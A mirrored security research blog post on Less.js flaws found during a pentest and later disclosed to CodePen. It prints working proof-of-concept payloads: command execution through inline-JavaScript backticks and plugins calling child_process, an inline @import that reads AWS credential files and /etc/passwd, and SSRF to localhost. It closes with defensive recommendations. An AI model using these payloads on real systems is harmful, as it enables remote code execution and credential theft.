Originally published on the Software Secured blog. Mirrored here for posterity.
Introduction
Less (less.js) is a preprocessor language that transpiles to valid CSS code. It offers functionality to help ease the writing of CSS for websites.
While performing a pentest for one of our Penetration Testing as a Service (PTaaS) clients, we found an application feature that enabled users to create visualizations which allowed custom styling. One of the visualizations allowed users to input valid Less code, which was transpiled on the client-side to CSS.
This looked like a place that needed a closer look.
Background: Inline JavaScript in Less
Less before version 3.0.0 allows the inclusion of JavaScript by default with the use of the backtick operators. The following is considered valid Less code:
@bodyColor: `red`;
body {
color: @bodyColor;
}
Which outputs:
body {
color: red;
}
Inline JavaScript evaluation was documented back in 2014. RedTeam Pentesting documented the inline JavaScript backtick behaviour as a security risk in an advisory released in 2016. They warned that it could lead to RCE in certain circumstances:
$ cat cmd.less
@cmd: `global.process.mainModule.require("child_process").execSync("id")`;
.redteam { cmd: "@{cmd}" }
As a result, Less versions 3.0.0 and newer disallow inline JavaScript via backticks by default and can be reenabled via the option {javascriptEnabled: true}.
In our client’s case, the Less version was pre-3.0.0 and transpiled on the client-side, which allowed inline JavaScript execution by default. This resulted in a DOM-based stored cross-site scripting vulnerability:
body {
color: `alert('xss')`;
}
This was a great find, but wasn’t enough to scratch our itch. We started probing the rest of the available features to see if there was any other dangerous behaviour that could be exploited.
The Bugs
1. Import (Inline) Syntax — Local File Disclosure and SSRF
The first bug is a result of the enhanced import feature of Less.js, which contains an inline mode that doesn’t interpret the requested content. This can be used to request local or remote text content and return it in the resulting CSS.
The Less processor accepts URLs and local file references in its @import statements without restriction. This can be used for SSRF and local file disclosure when the Less code is processed on the server-side.
Local File Disclosure PoC:
@import (inline) "../../.aws/credentials";
Running lessc bad.less outputs the contents of the referenced file directly:
[default]
aws_access_key_id=[MASKED]
aws_secret_access_key=[MASKED]
SSRF PoC:
@import (inline) "http://localhost/";
Running lessc bad.less outputs the response from the internal server:
Hello World
2. Plugins — XSS and RCE
The Less.js library supports plugins which can be included directly in the Less code from a remote source using the @plugin syntax. Plugins are written in JavaScript and when the Less code is interpreted, any included plugins will execute. This can lead to two outcomes:
- Client-side: Cross-site scripting
- Server-side: Remote code execution
All versions of Less that support the @plugin syntax are vulnerable.
Plugins can be included locally or from a remote host:
@plugin "plugin.js";
// Or from a remote host:
@plugin "http://example.com/plugin.js";
RCE via Plugin (Less v2.7.3):
functions.add('cmd', function(val) {
return `"${global.process.mainModule.require('child_process').execSync(val.value)}"`;
});
With the corresponding Less code:
@plugin "plugin.js";
body {
color: cmd('whoami');
}
RCE via Plugin (Less v3.11+):
registerPlugin({
install: function(less, pluginManager, functions) {
functions.add('cmd', function(val) {
return global.process.mainModule.require('child_process').execSync(val.value).toString();
});
}
})
The malicious Less invocation is identical across all versions.
Real-World Impact: CodePen.io
CodePen.io is a popular website for creating web code snippets, and supports Less.js as a CSS preprocessor option. Since CodePen.io accepts security issues from the community, we tested our proof of concepts against their website.
We found that it was possible to perform the plugin-based attack against their website. We were able to leak their AWS secret keys and run arbitrary commands inside their AWS Lambdas.
Using the local file inclusion bug:
@import (inline) "/etc/passwd";
This returned the full contents of the system’s passwd file embedded in the page output — including EC2 default users and sandbox users.
We responsibly disclosed the issue and CodePen.io quickly fixed the issue.
Recommendations
- Audit where Less is transpiled. Server-side transpilation of untrusted Less input is the highest-risk scenario.
- Disable the plugin system for untrusted input. There is no legitimate reason to allow remote plugin loading from user-supplied Less code.
- Restrict
@importto known paths. Implement an allowlist of permitted paths and deny all URL-based imports. - Pin Less to a modern version. If you are running any pre-3.0.0 version, inline JavaScript is enabled by default.
- Do not pass
{javascriptEnabled: true}to untrusted input.